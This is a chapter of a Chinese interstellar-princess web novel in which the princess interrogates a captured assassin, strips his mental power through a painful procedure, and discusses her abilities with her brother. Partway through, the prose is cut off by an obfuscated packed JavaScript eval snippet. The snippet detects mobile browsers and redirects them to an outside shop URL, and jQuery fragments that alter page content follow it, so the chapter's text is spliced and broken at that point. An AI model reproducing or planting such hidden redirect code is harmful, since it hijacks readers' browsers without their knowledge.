86. 如此清楚

作品:《在帝国当公主的日子[星际]

    为了尽快回去休息,边钰没绕弯子,直接询问,“你又是为什么要来刺杀我?因为婕薇尔?”


    她不这样认为。


    如果真的喜欢,又怎么会不顾婕薇尔的处境,弄成这样的局面。


    或许有一些,但更多的是借口,获取帮助的借口。


    阿泽里的“声音”杂乱,且很符合整个人的气质,恶意满满。


    分辨一阵,边钰才完全清楚:因为皇室的精神力特性,使得普通民众宛如被操纵的机械,让他感觉“窒息”、不够“自由”。


    不需要他开口,边钰平静道:“你认为,你对克鲁德的崇敬,是因为精神力影响?”


    或许是没在帝国长大,在边钰的观念里……这有点奇怪,但在心智还未完全成熟时受到一定的思想影响,也不是没可能走上歧途。


    阿泽里的警惕没有发挥作用,他并未再次失去对自己的控制。


    但这不是什么好事,因为他完全不知道发生了什么,就泄露了内心深处最不愿被外人触碰的念头。


    他紧咬牙齿,屈辱地想要缩起身体,不知道要怎么才能隐藏起来。


    就像被扒光了!


    边钰当然能听到这些,但无关紧要。


    她想了想,问道,“那你想试一试吗?试一试没有精神力,自己会有什么变化?”


    阿泽里惊愕抬头,既因为问题本身,也因为公主的态度。


    “你……这可以实现吗?”


    边钰点头,“你要受到应有的惩罚,作为主要人员,或许会有长期监禁或者其他。”


    “而我最近有了一些想法,还没有找到尝试的途径。”


    没有详细说明,边钰等待他的答案。


    阿泽里的某些神情已经成为本能,凶气外露地紧盯和第一次见面似乎没什么变化的人。


    ——他终于意识到,在各类复杂情绪中,现在最应该出现在里面的:仇恨、厌恶……居然都没有。


    边钰也只是试着询问,没有答案也没关系。


    转而说起另一边,“为你们提供技术支持的,应该是多里芬曾经的属下,660事件的漏网之鱼……”


    “他们有一部分在萨博过去前就已经离开,画像登上了通缉令。”


    这些话语隐含了一个意思:这件事不会有太多隐瞒,将会直面民众。


    阿泽里从没想过会失败,所以完全没考虑过类似处境应该怎么做。


    现在的他在愤怒之余,还有完全的茫然——能想象,他的生活将会发生天翻地覆的变化,或者说,那还能不能被称为“生活”都有待商榷,或许等待他的是地狱?


    熟知律法,熟知军令,他清楚自己将失去所有,包括生命。


    但他的反抗不是没有效果……至少他得到了机会不是吗?


    牵起嘴角,金发金眼的青年褪去其他情绪,郑重回答,“我要,我要试一试。”


    这是他所有坚持与反抗的根本,无论有着怎样的结局,他都做好了接受的准备。


    刚才就已经和克鲁德沟通,边钰知道他最后会上军事法庭,这时候就主动提起,“你需要注射一些药物吗?防止疼痛过度,让明天的辩解受到影响。”


    “嗯,这和‘精神海剥离技术’有一定的区别,但本质都是对‘人’和‘精神海’联系的破坏,这要更彻底一些,你之后就不再能使用精神力了。”


    信息量太多……过了一秒,阿泽里露出个略带阴郁与苦涩的微笑,“我曾想杀死你,殿下。”


    “你们不可能成功。”


    边钰的语气没有任何起伏。


    青年已经感觉到脑部的绞痛,仿佛有什么在里面不断活动。


    他眼前一阵阵发黑,本能把额头砸到桌面,试图用疼痛缓解疼痛,但没有任何效果。


    时间不知道过去多久,他终于从麻木的疼痛中缓和,持续不断的痛苦依旧存在,只是不再那么强烈。


    阿泽里感觉到了身体上的冰冷,看到了湿润一片的桌面——全都是因极端痛苦渗出的汗水,流出的眼泪。


    边钰得到一定的确认,“……你现在,有觉得观点产生变化吗?”


    花费了好几秒钟的时间接受文华,阿泽里随即认真审视自己的内心。


    良久,沙哑的嗓音回荡起来,“没有……没有任何变化……”


    “因为克鲁德从未对你们施加影响。”


    边钰了然点头,对这个结果没有任何意外,“你的身份特殊,应该是他们重要目标之一,才会在智脑没有察觉的情况下被塑造成现在这样,但实际上,影响是双向的,克鲁德能感觉到你的真诚,你才能走到这个位置。”


    “你发自内心的认可他,崇敬他,他知道的。”


    阿泽里呆滞地看着桌面,时间足足过去几分钟,他的表情依旧一片空白。


    回神,他明显感觉到对方想要离开,赶紧开口,“你一开始,就知道我的计划……”


    边钰没有否认。


    “为什么,为什么不阻止我,或者先下手?陛下不会站在我这一边……”


    这是从某些事件中可以确定的发展。


    边钰回想一秒,确认心态,“当时你没给我带来太大的麻烦。”


    仅仅只是因为这个?


    阿泽里牵扯嘴唇,挤出一个滑稽的笑容,“所以,无论是我被调离还是调回,都和你有关系?”


    “算是。”


    领会出他还有话要问,边钰坐于原地,看向他依旧在不断冒汗的额头。


    “可我打算犯罪!”


    强调一句,或许是因为疼痛,阿泽里很有颓丧感的脸庞扭曲,英俊完全被破坏,他受到刺激般大声吼叫,“你为什么没有任何应对!?”


    认真看了他一眼,边钰联想了不少,但依旧不太理解,“你已经比大部分人过得都好,甚至有自己的目标,即使那有些奇怪……但为什么会有这种情绪,还如此强烈?”


    “帝国人是不会有精神疾病的,但你的精神力表现有些奇怪,你好像在远离‘海面’,我现在能看出来,为什么……虫族能对精神产生的影响中,目前没有出现过类似的症状……你还接触过别的什么?”


    还是这样!还是这样!


    阿泽里双目充血,刚才被“帮助”的微妙感激消失无踪,失态地提高音量,“你根本没有把我看在眼里!你甚至不在乎我会做什么!!”


    你也根本没懂我在说什么……边钰觉得他在失去和精神海的联系后,似乎完全没法控制情绪了,显得不想一个帝国人。


    “你是谁?我为什么要在乎你?”


    这句话说着没有道理,但实际上很有道理。


    毕竟阿泽里和他的同伴认真铺垫多年的行动,在十几分钟内就溃败,没造成任何实质影响——这证明她的判断没有任何问题。


    如果不是要等待最新的屏蔽设备,找到漏网之鱼,甚至不用等那么久。


    边钰站起来,“你可以想一想上法庭要怎么辩解了,还有,你对不起克鲁德和婕薇尔。”


    没去管背后人的反应,她走出了关押的房间。


    萨博等在外面,见人出来,迅速迎上去。


    并肩往外行走中,边钰感受到他的紧张,开了句玩笑,“我完全没有受伤,不会影响之后的战斗。”


    这源于最近几个月“高


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112913|186591||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    强度”的战斗,她愿意提升自己,却没有把战斗当成进食一样的必须。


    但萨博明显是。


    他的部下都因此有意见了。


    身形瘦高,带着一点风流气质的将领张开嘴巴,没有第一时间回应。


    隔了几秒,他才带着一点沮丧地开口,“我本来想说,‘我认识很好的医生’,但……”


    边钰没有问“但”什么,在一个分叉口和他告别,准备回高德隆区,慰问还在加班的克鲁德。


    ……


    安静房间内,萨博眼神没有焦距地看着前方,“……但我居然是不希望袭击发生……”


    “或者说,她‘受伤’这件事本身远压过其他,可她其实不会受伤,根本不需要我的保护……”


    智脑转达了直播的内容后,他就行动快过脑子地直接从原本的地方离开,什么都顾不上,直到跳跃进行到一半,才想起来和陛下通气……


    焦急和不知从何而来的害怕比任何时候都强烈,还有之前一次次本能避开的视线交汇……


    不是蠢蛋,萨博意识到这代表着什么……


    “我接下来应该怎么做?”


    作为唯一被问到的对象,智脑以处理公事的口吻道:【您长时间和她待在一起,并极度渴求与之战斗,在她性格独特、容貌出挑的情况下,感情变味是很正常的事,但请容我提醒两点。】


    【首先,您最好先说服陛下,再付诸行动,否则您将会面临宇宙中最厚的‘墙壁’,我不认为‘属下’的分量会超过‘妹妹’。】


    【其次,殿下还有一年零十九天,才正式成年。】


    诡异沉默几分钟,萨博狠狠抹脸,小声嘀咕,“为什么她一点这方面的转变都没有,是我的容貌不够出挑?还是性格不够独特?”


    智脑:【您说,有没有可能,是因为太独特了?】


    ……


    讲述审问过程时,边钰和克鲁德一人一杯提神果汁,否则眼皮将会粘连到一起。


    最后,她呼出一口气,“那些屏蔽器怎么样?是否对研究有帮助?”


    边钰还没看到具体内容。


    “有的,不同派系的研究员很有自己的思维风格,如果不是恶人,或许会尝试吸纳到科技部。”


    和联合体之间的合作基础已经奠定,接下来就是各个领域的具体事宜了,其中必然包括科技,所以是不是帝国人问题都不是太大……这么感叹一句,他转移话题,“你说你有猜想,验证的结果是什么?”


    略做斟酌,边钰从学习和训练的内容、感受出发,落脚于祭典中精神力的异常,“……我认为,那一片精神海与西卡林家族的联系远超过其他帝国人,以我们都知道的东西类比,即其他人只有使用权,而没有所有权,或者说,我们是‘管理员’。”


    “这在刚才得到验证,我能从奇怪的角度对别人的精神力施加影响,而不是那种,操纵机械的感觉……”


    说到这里,边钰停顿下来。


    这实在太匪夷所思,以至于她开始猜测自己是不是真的就是那位神使?


    克鲁德听完,忽地叹气,“其实之前已经有猜测,就像我们清楚知道精神力可以体外使用一样,只是从没有实例。”


    “不少知情的精神力领域专家,也都做过类似的猜测,否则无法解释西卡林家族成员和其他民众的互相影响,而前者明显更占据主动权。”


    他看向脸色没什么变化,既不畏惧也不兴奋的妹妹,“你只要学习,提升自己就好,其他的事,我会处理。”


    他的手边,方形的鱼缸表面,映照了格局些许改变的桌面,里面也只有一条小鱼拖着裙摆来回游动。